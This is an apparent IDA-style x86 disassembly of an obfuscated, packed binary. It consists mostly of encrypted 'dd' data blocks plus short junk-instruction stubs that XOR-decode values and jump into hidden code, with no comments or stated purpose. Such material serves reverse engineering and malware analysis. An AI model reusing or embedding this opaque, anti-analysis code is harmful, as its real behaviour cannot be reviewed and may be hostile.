		dd 0E893DBFAh, 0F074D13Eh, 0A3033D59h, 0EE576921h, 74D1EF76h
		dd 137769F0h, 66DE4977h, 0EBA842F9h, 0E2AA8BC2h, 0C4FA8D99h
		dd 89B7FF5Dh, 3701A81Ch, 0FBAFC7CFh, 1FE64h, 9B37D600h
		dd 0A3E97612h, 0EACF74C1h, 3091AFCBh, 635DC48Ch, 0D5EB4202h
		dd 536DF470h, 0F5EB72F2h, 4EB7A48Eh, 9D093F96h,	56FBB086h
		dd 9Ah,	0B8DC4032h, 7E64D3FCh, 9F378436h, 72167216h, 0DC263C00h
		dd 36A9FCDEh, 0C92FB883h, 0B22D6544h, 0C92FB857h, 9B49BC82h
		dd 1D6B2302h, 0D7821D79h, 0F0C92FB7h, 0B88B4ED1h, 0D74C92Fh
		dd 611736AFh, 3B056140h, 0CCF50C7h, 0BDC92FB8h,	4024BD9Ch
		dd 2FB81CDFh, 0AD8CADC9h, 38E37CE5h, 69C92FB8h,	0C3530812h
		dd 0BC281672h, 25B8115Bh, 0EDCCF333h, 166C0674h, 3BBB5898h
		dd 3AE17E1Ah, 93C92FA2h, 19EFAB2h, 0C92FA2AAh, 0AE094331h
		dd 5E62152Dh, 0E8416016h, 1367Ch, 9B37CE00h, 97E97612h
		dd 0E4CF74A0h, 0B3FB69DAh, 0BE80E4C5h, 9346D948h, 34C2EC88h
		dd 8CAD3415h, 4B395DC4h, 0F8413C8Dh, 72EA5685h,	8E392153h
		dd 7F259E99h, 7B9C0937h, 56C5D471h, 0B2112F2Fh,	0E6822B0Ah
		dd 0BBF369D8h, 3DA42085h, 0EC5AF2A2h, 375337C2h, 0EC59F1A8h
		dd 0B3FBDAC2h, 94F15EC8h, 168AB4D0h, 0B59448B9h, 0EC450D2Ch
		dd 47E2FA88h, 7F2B933Ah, 0EC5E39E0h, 92B392C2h,	0B9F49CDAh
		dd 1F87B9DDh, 0AA485AF6h, 3716E4CFh, 1CFD8FAEh,	0BD9F6C6h
		dd 9AAF3078h, 79C937B1h, 66D7821Dh, 4CB8C921h, 56200198h
		dd 77493F77h, 0E8C9500Ch, 0A3450C9h, 6592B99h, 18D914E0h
		dd 0E1427C34h, 5BC4FA63h, 831C78E1h, 0C92156D8h, 78EED0F1h
		dd 57631689h, 4564C921h, 0E78FFD64h, 0AC09271Ch, 79A5DEA6h
		dd 0FB9FFB83h, 2167B564h, 7FE55EC9h, 1B602809h,	7FB65A0Fh
		dd 39E07F1Bh, 0DAC92167h, 4E6FF666h, 0BB271938h, 0F1B99801h
		dd 0CEFD0A95h, 0E2DCCF6Ch, 0F864DC81h, 37E40D9h, 0C0E1C059h
		dd 0BBDFFE88h, 7524BBDFh, 56C2EC4Ah, 4A31E877h,	0BB9AC2ECh
		dd 37E85AF3h, 0E976129Bh, 0CF7BFBE0h, 0D9CA4D3Fh, 90C51D00h
		dd 55CAAED8h, 0C2E4F0A6h, 1DDC4327h, 0AEC2E4F0h, 168FAE8Fh
		dd 0A009BB28h, 26BF259Eh, 8E75C7B9h, 6AD24EFCh,	510897F3h
		dd 7A894E73h, 40FD655Bh, 0C55C7DDFh, 0E05CC6BDh, 92F1CFABh
		dd 0D19622Ah, 0A801C320h, 2EB72D96h, 690DAF10h,	72E7920Dh
		dd 0DEE0894Eh, 4667FE66h, 0CEB62F67h, 178C69B5h, 0C93A04ADh
		dd 1B16821Bh, 72000000h, 0F56CD84Ch, 152E9CD4h,	0D56B72Bh
		dd 10201F9Bh, 7455CCEDh, 2E66D64Ah, 0D54FA416h,	63C0FE67h
		dd 0DB4678E1h, 5FC6F861h, 0E4427CE5h, 61C7F960h, 0DB447AE3h
		dd 5AC6F861h, 0E1457BE2h, 50EDFA63h, 405E089h, 52000000h
		dd 4BAh, 5AD02900h, 5C240487h, 81E38953h, 4C3h,	4EB8100h
		dd 87000000h, 895C241Ch
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	ebx
		push	esi
		mov	esi, 6EB807F8h
		shr	esi, 7
		shr	esi, 8
		sub	esi, 0F9B575B5h
		mov	ebx, esi
		pop	esi
		mov	ecx, ebx
		pop	ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		xor	dword ptr [esp], 12317BABh
		pop	dword ptr [ebx+8]
		push	edx
		mov	edx, 8
		add	edx, ebx
		xor	dword ptr [edx], 12317BABh
		pop	edx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5445C2
; ---------------------------------------------------------------------------
		db 84h
		dd 4B6D6DB8h, 0FFC50306h, 41C363E0h, 88E96B31h,	0D30E9457h
		dd 87EB9E44h, 8E722146h, 62609C0Ah, 23149922h, 2DC5A11Ah
		dd 0B48D8D13h, 6A064B6Eh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 0AE35C357h,	1188B17Ah
		dd 89BC0568h, 442F5D8Dh, 4D858B06h, 0C7064409h,	44067985h
		dd 60F806h, 81B58900h, 0C706440Ah, 44107185h, 6, 0BD896000h
		dd 6441559h, 2511B529h,	0FF610644h, 44318DB5h, 0F5852B06h
		dd 0FF064413h, 440BF995h, 0F2B70F06h, 1880Fh, 6AF50000h
		dd 4D95FF00h, 8B06441Ch, 2F6BEBC0h, 0A7D505F3h,	0DC642C61h
		dd 1A00A8D5h, 0C63317E8h, 0E8B32B27h, 0FDEB536h, 739F6C9Ah
		dd 0DFC88E27h, 0B78CF5D4h, 0F0958F48h, 3502C52Ch, 5B5FB330h
		dd 3AB7BE9Eh, 2CD7B519h, 7BDA482h, 0C88C9817h, 0BF65169Dh
		dd 947C5A27h, 3899E579h, 0BF7EEF08h, 0D3A1BD06h, 0BAF552AAh
		dd 7379DA8Dh, 0C20427D9h, 0EDAD7873h, 9F98A0E8h, 4EB6D4Fh
		dd 344AC50Fh, 536E9h, 5A026000h, 0EB59CDF3h, 58047C42h
		dd 0EA52CFF1h, 590B7D43h, 0D24AD2F0h, 6759F074h, 0D3ED4400h
		dd 5B65CC70h, 97D37AEAh, 25AD6CF3h, 481EC2E5h, 32B2122Ch
		dd 93A26D40h, 3078CDA3h, 6ED64F82h, 4AF16E0Ah, 83C93094h
		dd 4D73EAA2h, 570D76DBh, 75D1EFCEh, 0F88AEECFh,	0F46E839Ah
		dd 4D1A393h, 440106C2h,	0BF812860h, 39079E46h, 7BE74BCCh
		dd 0E064131Fh, 5EC1A5C1h, 0C9304B9Bh, 0DC450D2Ch, 5BC282E2h
		dd 52BF6B10h, 0E4DA73F1h, 0E163C07Dh, 0D1785978h, 51C874EFh
		dd 0C11FF86Fh, 5F265D2Ah, 2F57CEEFh, 937CA54h, 3BFE6198h
		dd 8CC93046h, 0FAC48CADh, 427CD587h, 65FA63E1h,	0C93046B3h
		dd 48AD7902h, 1F465DCh,	5D19h, 0E60F7D00h, 7ABC2024h, 4FB5074Fh
		dd 340A6ED6h, 0C55C14D0h, 30949D5Ah, 0D9453EC9h, 0F4B41074h
		dd 12501h, 15970000h, 4D05B72Bh, 0C8511373h, 4FD68EF6h
		dd 35AC1071h, 3C19057Eh, 23A003C8h, 0A43D1CC0h,	0BB7EE185h
		dd 0CC93094h, 9BA50C2Dh, 0E0DEBA2Ah, 81FEC084h,	2B6342DBh
		dd 2B153082h, 714F07BDh, 0F7C9AD17h, 6E4FD68Eh,	2581BF26h
		dd 433826BFh, 580C7AD7h, 0EE56CFF1h, 63D94977h,	8A997507h
		dd 5B372A61h, 50B48A13h, 0D4330D94h, 7C078910h,	791D5AB2h
		dd 0F960DC47h, 3FEB90D8h, 0F3D27ADAh, 80BB01h, 4F090000h
		dd 310F6BD9h, 0BA236BD1h, 39A01C84h, 301D0972h,	780A6ED6h
		dd 0DFDED80Ah, 3490AEE4h, 6F51F8B0h, 0ECD24BF9h, 1750C973h
		dd 0F95DC26Ch, 3A01F4A9h, 8Ah, 74D94F88h, 1074550Fh, 9430EB74h
		dd 0B899C930h, 0EC5769F0h, 0EF701470h, 0C930942Ch, 6DF4BC9Dh
		dd 0E970F453h, 6FF66ED7h, 79D35F24h, 0B2057713h, 33B11498h
		dd 0EF98BAAh, 0BCC78F4Eh, 0E4238572h, 2FC5C07Bh, 92809C9h
		dd 0D74F12A0h, 0E290F46Dh, 0B4D8E3F4h, 0ECD523Ch, 0BFC92FFBh
		dd 68F7BF9Eh, 0C92FFBAEh, 17AA740Fh, 9E07BD29h,	65C1F7BFh
		dd 0BA01F41Ah, 0D953ACDEh, 5E1DD5CDh, 2FDC1AC1h, 0DA92B3C9h
		dd 18Ah, 0D34F3800h, 0D4330D69h, 96A88910h, 0D2CB52Fh
		dd 81E2DC45h, 88D5A7C3h, 8E2E92AEh, 4C34ADE5h, 6A54EB37h
		dd 0DC9F00F7h, 0EDC92FF4h, 5574EDCCh, 58BF231Dh, 2FF514C7h
		dd 0B594B5C9h, 7FB65A1Ch, 1126841Bh, 86A7CF74h,	0C4211Fh
		dd 0DC9F0064h, 0EDC2EC10h, 492D84CCh, 32B2132Dh, 0EC10EEADh
		dd 0B6FEDFC2h, 30A91B88h, 0EC10EAAFh, 72BCC7C2h, 0DA42085h
		dd 8B12D233h, 0D9450B5h, 0F46DCF33h, 72EB59CAh,	64D84239h
		dd 3815017Ah, 86B019CBh, 0FBB0301Eh, 121D7h, 9B376500h
		dd 0A3E97612h, 0EACF74C1h, 0F76C52CBh, 0E480E44Dh, 0EC67C07Bh
		dd 602809C2h, 0E67FE55Eh, 23BC6BD8h, 0C2EC6778h, 0C8517051h
		dd 4BD28AF6h, 36AF0D75h, 1FB275Ch, 5DBA641Fh, 0E3D57CE8h
		dd 0FBB08683h, 58B0h, 9F370200h, 89167216h, 0C93093D2h
		dd 0F692DAFBh, 8C38AC92h, 0A9351B2h, 8DFC632Bh,	0DEC93094h
		dd 42F966FFh, 73C93094h, 0E4F66517h, 44C1F9DCh,	36AB770Ch
		dd 1773179Eh, 9D04B829h, 787823BCh, 7051C930h, 0F66FD54Eh
		dd 64FB9FD7h, 0C9307905h, 5ACE6746h, 82h, 0B72B15E8h, 670B4D05h
		dd 102E4A2Eh, 0B4950CB0h, 0A11D63FCh, 5D7CCF74h, 9E89FAC4h
		dd 3E5FC2ECh, 0F16E75DFh, 0C2EC784Ah, 0E783A283h, 785D1C83h
		dd 4F6EC2ECh, 3390AE07h, 0FFB728B1h, 76C2EC78h,	0F4CA5309h
		dd 4BD292h, 375DAF7Bh, 1075E24Ch, 930E3054h, 0D991B029h
		dd 139A3670h, 0E753E877h, 99B8C937h, 3D166400h,	5C6DCFA8h
		dd 178CB2FAh, 374C34ADh, 53DA76EBh, 3A13A837h, 0D9F8CF6Ch
		dd 9B37C270h, 54E97612h, 0B9CF7C03h, 0C63F0198h, 0EDD3B71Eh
		dd 7E5FC676h, 7A9B0836h, 0D372BF9Ah, 0F26B4ADBh, 0E6807B6Dh
		dd 0BD1F82F4h, 39AB1A24h, 0F900D2A0h, 0FAAB404h, 19F33F44h
		dd 10FD2952h, 0A69831B3h, 0DDA5D43Dh, 0C158047Fh, 3A2592E0h
		dd 7A44DDFCh, 79DE4805h, 0EFCE570Dh, 0F86957CEh, 0DDFCDD44h
		dd 791D65FCh, 0FB62DA47h, 2767A8DAh, 0D63B7559h, 0DC39E59Eh
		dd 3054FD67h, 672F950Eh, 0E178EC59h, 375h, 0FB49C700h
		dd 0FE67D54Fh, 78E163C0h, 0F861DB46h, 7CE55FC6h, 0F960E442h
		dd 7AE361C7h, 0F861DB44h, 7BE25AC6h, 0FA63E145h, 510968EDh
		dd 24890000h, 4BE5624h,	1000000h, 5E042474h, 81E18951h
		dd 4C1h, 4E98100h, 87000000h, 895C240Ch, 0FE682434h, 8900004Ch
		dd 68552414h, 350146F4h, 2E5C15Dh, 814DD5F7h, 508B01C5h
		dd 0EF8957DAh, 5D5FFE89h, 24148B54h, 5504C483h,	8155F589h
		dd 3A162434h, 428F60F0h, 8728108h, 60F03A16h, 24148B5Dh
		dd 81E18951h, 4C1h, 4C18300h, 5C240C87h, 5124348Bh, 0C181E189h
		dd 4, 4C181h, 0C870000h, 0B7E95C24h, 0FDFFF90Ah, 0B89874E1h
		dd 64B73CBh, 0E0FFC503h, 64A8A054h, 2307C87Dh, 38C6CE5Eh
		dd 276A231h, 7C31D7FBh,	7E37307Ah, 18791B7Ch, 1B1D99B4h
		dd 167F78ADh, 4CDE91B1h, 2A5C75D9h, 4C7FE1C5h, 2F9C85EDh
		dd 5CA430D0h, 6B3E70D9h, 605DF2D6h, 0BD64CB7h, 2BC99C62h
		dd 32698699h, 1927DBBFh, 54185D4Bh, 24DB1E24h, 77C3D0F5h
		dd 4CE2A45Ch, 44E1C70Ah, 69B13522h, 18041847h, 56E5359Bh
		dd 5F8004EBh, 65E94790h, 0A6000005h, 1729803Ch,	0A29C35AFh
		dd 9379E3Eh, 0B38D2498h, 6446EF55h, 7EE640BCh, 0C67EE9D7h
		dd 4AF2516Fh, 0FC68DDE3h, 0EA751155h, 0C2E5202Fh, 4F7CCE98h
		dd 0C9F76ED6h, 7C3FA05Fh, 49C93094h, 0C298CD6Ah, 52730566h
		dd 7FE4DA73h, 1625CC5h,	80E4DA43h, 6D165DC4h, 0D1300EC1h
		dd 73521274h, 0BD83CBEAh, 0B283CF48h, 582A920Fh, 0E6C78984h
		dd 0F912714Fh, 0FF9BE047h, 0CC654496h, 0B12B96A8h, 0E2AA128Fh
		dd 6EF765DCh, 2B4FF550h, 7B33B115h, 35E19AE2h, 5AF369D8h
		dd 0DC45FF64h, 9843DCB8h, 31C93009h, 11C75810h,	0A0C93009h
		dd 7C3FA0C4h, 4DC93009h, 0D35F246Ch, 0F428F66Eh, 833F01h
		dd 4F8D0000h, 5B42BD6h,	0C6C93094h, 0C05FC6E7h,	0C9309417h
		dd 85FEC0A4h, 2F6746DFh, 937CA54h, 0AA19279Dh, 0D84C7A32h
		dd 2901F4B3h, 0AB32AA17h, 192C28Ah, 20000000h, 43ED74Fh
		dd 0E561E00Ch, 122CB594h, 95AB32B2h, 1729B02Ch,	91AF36AEh
		dd 0A729B034h, 7EE552DCh, 476647DEh, 4EAB770Ch,	780A6ED6h
		dd 2FC2F46Eh, 4BB886D8h, 69210099h, 5FC0A4C0h, 0C930839Ch
		dd 7A440C2Dh, 96F25B09h, 0CE863EA8h, 6BD94F7Ch,	0D3E496F2h
		dd 7DDF3DCAh, 0A61E2068h, 831AC221h, 41A83A2h, 0E046B37Fh
		dd 92F3CD64h, 80C4B6D2h, 467AA8B1h, 0D2EC753Dh,	1057CE6Eh
		dd 0FA5ABF6Bh, 3B01F422h, 70h, 6BD94F89h, 87807D0Fh, 0A831AB16h
		dd 10AAFB89h, 30B4112Fh, 63DFE178h, 502B60F9h, 45FF69C6h
		dd 0F074D2ECh, 0DE7F0D69h, 0B9773886h, 0F36C521Ah, 0EC97D049h
		dd 4979DD42h, 63BA01F4h, 8000000h, 0F26BD94Fh, 883CA896h
		dd 0D983FEC0h, 5C087E40h, 0D88CFBC5h, 0FFBA2541h, 0C8C93093h
		dd 0A28CF7E9h, 6FBBC0AAh, 1F32482h, 0CE02C508h,	41F35A7Bh
		dd 0F46DD74Fh, 0B06BF490h, 19C93094h, 29EF7038h, 0D0C93094h
		dd 6957CE76h, 0FEDF46FEh, 64FD5FC0h, 41BB671Ch,	6DD25C27h
		dd 1F4B3F9h, 13Ah, 0D34F8800h, 0AA94F069h, 0B92B9A37h
		dd 68200198h, 0EE77ED56h, 0D441ED96h, 0AA94F06Ch, 0B12B9439h
		dd 60280928h, 97DFADC9h, 78DE37C9h, 0DD75337Bh,	4968D44Fh
		dd 0F58B22Dh, 0F591CF74h, 0EBD7AF6Ah, 183918C2h, 0D487187Ch
		dd 0E7C2EBD6h, 0EBD7C178h, 5D2B0AC2h, 93AD347Ch, 7F1BB232h
		dd 84184E0Dh, 2816DB9Bh, 704E06BEh, 0FE4C0213h,	0A60C6F0h
		dd 0BE64EAB0h, 79587966h, 0E1BA7FE0h, 6C17C2EBh, 0D5310FC2h
		dd 0BB84F66Fh, 16E96507h, 0A91D2302h, 0D84D733Bh, 0C8511373h
		dd 5F61C8E9h, 0D9E77EE6h, 7F61F86Ch, 0C83D1A04h, 2383B51Ch
		dd 0D0FBB070h, 13Ah, 129B3762h,	0C1A3E976h, 0CBEACF74h
		dd 0A554CBAFh, 26C2EC67h, 0B2D64F07h, 31A8148Ch, 0FD665810h
		dd 0CFEC4114h, 18391DACh, 40380E7Ch, 0A8562DF4h, 8DA853CCh
		dd 21C2ECh, 0BB85E148h,	0A3198946h, 8FF4CA82h, 11724CD5h
		dd 0AFD4CA53h, 0B72D9683h, 6C1E7A1Eh, 5079E07Fh, 0AB6EF1BEh
		dd 1CC2EC6Dh, 0E343753Dh, 10FBB08Ch, 47h, 169F37A2h, 0ED721672h
		dd 0C930942Eh, 2480BE9Fh, 501839A0h, 30945CCFh,	62C1FFC9h
		dd 0A4263FAh, 5BC45D7Ch, 0C93094A0h, 0EB80AAD1h, 0CAAECA4Bh
		dd 3094A655h, 4E0627C9h, 9456B52Ah, 0B697C930h,	888B1Fh
		dd 37390000h, 2B990D9Bh, 0D6B293B2h, 74A0F749h,	0EE7756CFh
		dd 58F173D0h, 2347FD66h, 4B39AB1Dh, 46C1840Dh, 66FFB7CCh
		dd 0EC403DF9h, 0B176CC2h, 6B0FB52Eh, 3EE9900Fh,	0C3E2C2ECh
		dd 90D884FDh, 9D37F39h,	4362604h, 0C6A28333h, 727E3DA2h
		dd 2B4FC2ECh, 0EC7205B4h, 0C6E7C6C2h, 0A275EA8Eh, 0E3C937E7h
		dd 655BC2h, 0DEA5DD44h,	0BAF39F54h, 0B37641DEh,	0A1C5CF6Ch
		dd 0EC727B3Eh, 14724CC2h, 4F397150h, 8AAB1171h,	67159123h
		dd 0BD82F594h, 3A7C34F8h, 16C55A96h, 0B7C93063h, 4CD3B796h
		dd 0CF7BD869h, 46CAA8DAh, 3E3E8F3Eh, 0E2457B1Fh, 0D7B32A62h
		dd 80C87CE9h, 369F45BEh, 0B0299B08h, 4FC2B0D4h,	3D8275F9h
		dd 67D5841Bh, 0D7F6C2E5h, 8D64009Fh, 0D73104C0h, 5ACAF46Dh
		dd 0F371D4EAh, 0D05A216Ah, 0E24C377Ch, 30541075h, 8B10CB54h
		dd 98B981A0h, 0DE4779D0h, 60C1FF66h, 0EA5B65FCh, 69DDE37Ah
		dd 97EC62FBh, 0B2C9B18Bh, 0AA1A8B68h, 1CC83D03h, 1A85E185h
		dd 81A08B5Fh, 95014968h, 3, 4FFB4927h, 0C0FE67D5h, 4678E163h
		dd 0C6F861DBh, 427CE55Fh, 0C7F960E4h, 447AE361h, 0C6F861DBh
		dd 457BE25Ah, 0EDFA63E1h, 81E28952h, 4C2h, 4EA8300h, 8B241487h
		dd 89562424h, 4C681E6h,	81000000h, 4EEh, 24348700h, 240C895Ch
		dd 5E08950h, 4,	8704E883h, 895C2404h, 0BD55241Ch, 64B74E9h
		dd 2C8BE989h, 4C48124h,	68000000h, 6926h, 81242489h, 42404h
		dd 505B0000h, 4389C889h, 24048B08h, 8B04C483h, 8950241Ch
		dd 405E0h, 0C0830000h, 24048704h, 240C8B5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5445C2
; ---------------------------------------------------------------------------
		dd 7AE9463Ah, 4B79B6B8h, 0FFC50306h, 0ECC57BE0h, 0DE08C220h
		dd 94AF9057h, 5DF41D29h, 246D1D3Bh, 0C3384841h,	54E4F50Bh
		dd 15609857h, 42DBDA6Eh, 73A12663h, 3515FE26h, 0AF156663h
		dd 1E8A210Ah, 6BA8546Dh, 7E8D8D37h, 6A064B7Bh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 6A9DC352h, 669FE704h, 5E8ADE81h, 25952357h, 5B06441Ch
		dd 2F5D8D89h, 6A0644h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 4D06CFC3h, 6058BC56h, 81661A01h
		dd 0C74443E6h, 44067985h, 65F806h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 2F7F4C0Eh
		dd 288F2539h, 95097F08h, 6441C41h, 107185C7h, 644h, 0BD230000h
		dd 64431E1h, 8059D8Bh, 0B5FF0644h, 64408DDh, 5810Fh, 2BBE0000h
		dd 0FF6AFE6Ah, 440BF995h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 0DA9DE491h
		dd 8B222DA9h, 0FF006ADFh, 441C4D95h, 0EBC08B06h, 0F054A67Ch
		dd 0A69ED355h, 0C3153BA8h, 5286274h, 35BB897Ch,	0EA9E6FFFh
		dd 189DC2D6h, 6CE064C0h, 45A9FBDh, 7D399757h, 0BCCE8B11h
		dd 0CC847790h, 0D53D44BFh, 52E271CFh, 87417C7Dh, 0E8AF1159h
		dd 3D64BB52h, 504693B5h, 4D69E509h, 0B0716DEFh,	21431E1h
		dd 0C8DC49AEh, 901AD84Dh, 4BB70585h, 288C781Ch,	9FC8CE1Fh
		dd 5E98A9FFh, 7E623A26h, 9F5F17B4h, 0BE5DC8CCh,	0D697CEF4h
		dd 10EB75h, 3 dup(0)
		dd 8B000000h, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 0B7C8D6B0h, 817D3814h, 4EB693DAh
		dd 6E92Dh, 17AC0000h, 6F08B8E7h, 20CDBD83h, 75000644h
		dd 25BD8309h, 6440Bh, 53501974h, 2DB8C08Bh, 89000004h
		dd 4402F585h, 4F9D8D06h, 0FF0646A8h, 83585BD3h,	440B25BDh
		dd 17740006h, 2DB85350h, 89000004h, 4402F585h, 3E9D8D06h
		dd 0FF0646A5h, 6A585BD3h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 6AFFC353h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 0CCDCC350h, 23B35497h, 0B589AFF8h, 6442C59h,	8D8BC08Bh
		dd 6440DCDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	98C35747h, 6533CC58h, 83D08BCAh, 840F00F9h, 0AEh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 68C35646h
		dd 2C3D8B64h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 0CFA5C351h,	0B8AFA1C1h
		dd 4237DD80h, 0FF0BD58Ah, 5C840Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 0F24695C3h
		dd 698D011Bh, 8B06442Eh, 0D7BF0F3Fh, 6AC032h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 523FC8C3h
		dd 0BD8924F8h, 6441CCDh, 9D01AAF3h, 6440395h, 4935D78Bh
		dd 53535041h, 6E8h, 5DED0000h, 66ACF2F1h, 0E35BCA81h, 85C65E5Eh
		dd 64402E9h, 999D8947h,	60064425h, 10D58D8Bh, 860F0644h
		dd 6, 18C5B58Bh, 68610644h, 6EBC475Ch, 870Fh, 4810000h
		dd 1A40D024h, 55006A6Eh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 0E090CF8Eh, 0F24DF98h, 387h, 0D68B6600h
		dd 17E9B5FFh, 858D0644h, 64777AFh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 38C35646h, 898D89F2h, 66064431h
		dd 0EC36F281h, 11E9D0FFh, 0EE000000h, 0D13848BAh, 3508AEB3h
		dd 88B17AAEh, 0BC056811h, 2FE98589h, 8E0F0644h,	3, 0BED2B70Fh
		dd 5B4565DCh, 2E985C6h,	6A530644h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 0A344C357h
		dd 2890Fh, 5A500000h, 0F0703768h, 14E9C9h, 62360000h, 0A82CA5E2h
		dd 0DE506571h, 0E53180BCh, 0D3211FC1h, 3481832Ah, 681ACB24h
		dd 0A9852941h, 0FF064428h, 4417E9B5h, 0B5B58B06h, 8D06440Fh
		dd 4777AF85h, 0EE816606h, 0D0FF4B4Bh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 31C35545h, 9C8FD90Bh, 0DC5398Fh
		dd 336A858Dh, 958B0647h, 6441535h, 30158589h, 0B58B0644h
		dd 6441D21h, 0FF6A206Ah, 301595FFh, 49350644h, 0C7535041h
		dd 441BE985h, 106h, 3D85C700h, 64425h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 87F5C350h, 250D7ECDh, 12E9E71Bh, 2D000000h, 9FCA6D7Eh
		dd 0E413E981h, 0ED4EEBC7h, 6ABF724Bh, 81BD83AEh, 64423h
		dd 60840Fh, 0F5600000h,	2A5D858Bh, 8B610644h, 44254D85h
		dd 0B5036006h, 6442465h, 5DBD8961h, 64064430h, 0A3h, 25E28000h
		dd 2989858Bh, 6A0644h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 0DBAFDAC3h, 5830F3Fh, 66000000h
		dd 4826E681h, 2EE99D01h, 0E08B0644h, 0BD83C8B2h, 6442A8Dh
		dd 85850F00h, 6A000004h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 0AFECC352h,	179E521Dh
		dd 0A5BD0199h, 8B06442Ah, 442541B5h, 0E985C606h, 56064402h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 87C35343h
		dd 8166C1A0h, 0E88852E2h, 4, 0A9C530DFh, 0F08B6650h, 424448Bh
		dd 2830F50h, 60000000h,	8B5A61h, 4489F08Bh, 50520424h
		dd 14E852h, 16C30000h, 17E59733h, 0EC267866h, 0A91BB755h
		dd 5AAA0B8Ch, 0F5AD2A1h, 0FE831h, 5CA70000h, 89829B1Ch
		dd 829C9471h, 32B41BB4h, 585A5E5Bh, 8166585Ah, 0FFB88EDAh
		dd 4417E9B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 0F2B70F20h, 77AF858Dh, 6A0647h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 8B190BC3h, 44324195h, 6AD0FF06h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 16CAC350h
		dd 0C9958BB4h, 9006441Eh, 0F525060h, 81h, 60310F00h, 61585A61h
		dd 9052B650h, 8E8h, 75D18200h, 0A7020FB6h, 699D8994h, 5A064418h
		dd 32E98D8Dh, 870F0644h, 0Bh, 0C2BF0F60h, 32BD8D89h, 91610644h
		dd 0D8D0Fh, 0F600000h, 84h, 63B6B800h, 506168ACh, 0FDB86660h
		dd 0F52506Ch, 83h, 53310F00h, 61585A5Bh, 6AF08B91h, 31BA6604h
		dd 4E847h, 10000000h, 52500000h, 0F28B6660h, 0E8310F61h
		dd 0Fh,	0D2167021h, 8195D677h, 0C7532B07h, 5EA32890h, 5050585Ah
		dd 771FBA66h, 24448B5Eh, 8BD18B04h, 0BA665600h,	895E3446h
		dd 60042444h, 5250C88Ah, 585A310Fh, 0CE815861h,	0FD9DE6Bh
		dd 2519B5FFh, 0A3B20644h, 0B58BD0FFh, 6442131h,	2519BD8Bh
		dd 11E80644h, 0D000000h, 505037ABh, 0C4689A53h,	2AB86936h
		dd 0E652F57Ah, 80616060h, 5A6164D4h, 8B3C7F03h,	4432E195h
		dd 0F8C78106h, 0E8000000h, 6, 9445785Bh, 5AF95600h, 202447C7h
		dd 8B600000h, 44180DB5h, 1BD8306h, 64B7Ch, 18F840Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 9A3647C3h, 830306FDh, 8F0F28C7h, 1, 11E9F9h,	93C90000h
		dd 0E033791Ah, 0FAB89965h, 6594684Ah, 0C72E5705h, 696A2E07h
		dd 50006A64h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 87C7D0FBh, 59987A8Fh, 0BE960h, 0E640000h
		dd 0C6DAB8F9h, 0EA09AF38h, 5E887h, 0B2A50000h, 8B632D90h
		dd 4421D595h, 2B615E06h, 440A55B5h, 6E906h, 81EF0000h
		dd 2FFFF5D9h, 610447C7h, 8B006174h, 4B7C0985h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 9D843D8h, 44025D85h,	0C478906h, 0AA3CBA66h, 7C0D858Bh
		dd 8B66064Bh, 84789F3h,	28C783F8h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 79C35040h, 0E84B532Fh, 860F2D9Eh
		dd 4, 0FE21BE66h, 632E07C7h, 840F6E6Fh,	0
		dd 660447C7h, 6A006769h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 0CC19C355h,	2F6F3602h
		dd 880FF769h, 2, 858BD38Bh, 64B7C05h, 1F859509h, 47890644h
